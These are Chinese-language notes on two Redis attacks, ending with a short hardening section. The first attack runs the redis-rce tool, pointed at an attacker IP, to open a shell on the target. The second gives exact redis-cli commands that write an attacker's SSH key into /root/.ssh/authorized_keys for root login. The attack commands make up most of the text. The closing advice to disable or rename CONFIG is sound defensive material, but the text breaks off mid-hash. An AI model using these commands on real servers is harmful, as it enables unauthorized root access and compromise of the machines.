主从复制漏洞:
参考文章:Redis主从复制getshell技巧 - Bypass - 博客园
1.so和rce文件下载:GitHub - LeeZBug/redis-rce: Redis 4.x/5.x RCE
下载后安装所需要的python库,pip install -r requirement.txt
2.运行rce
python redis-rce.py -r [target_ip] -L [attack_ip] -a [redis_require_password] -f module.so
选择i回车进入交互式shell,即可运行命令等
# root用户下运行redis且在redis密码被泄露,即可通过该漏洞获得root权限。可以运行systemctl start xxx.service等命令
写入公钥远程执行漏洞
1.在攻击主机上生成公钥(~/.ssh/id_rsa.pub)
2.运行命令生成格式化的公钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > /root/foo.txt
3.在攻击主机上连接被攻击redis,清空数据,并设置键值
redis-cli -h [target_ip] [-a redis_password] flushall cat /root/foo.txt | ./redis-cli -h [target_ip] -x [-a redis_password] set crackit
-x 选项允许命令从标准输出中读取并设置为最后一个参数,成为set的键的值
此时redis中只存储了一个键值对
4.通过命令行修改redis配置文件,将键值持久到文件中
redis-cli -h [target_ip] [-a redis_password] config set dir /root/.ssh config set dbfilename "authorized_keys"
save
此时,redis会将键值持久化到 /root/.ssh/authorized_keys文件中
5.成功远程连接被攻击主机
ssh root@[target_ip]
# 在redis密码被泄露,即可通过该漏洞获得root远程连接权限。
解决方案:
以上两个漏洞均会使用到redis自带的config命令,通过对dir,dbfilename等配置进行修改达到获得root权限。并设置安全的redis密码
可以对redis的配置文件(redis.conf)进行修改增加以下配置,禁用或赋予config命令一个新的名称增加安全性
# 禁用CONFIG命令
rename-command CONFIG ""
# 重命名CONFIG命令
rename-command CONFIG "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852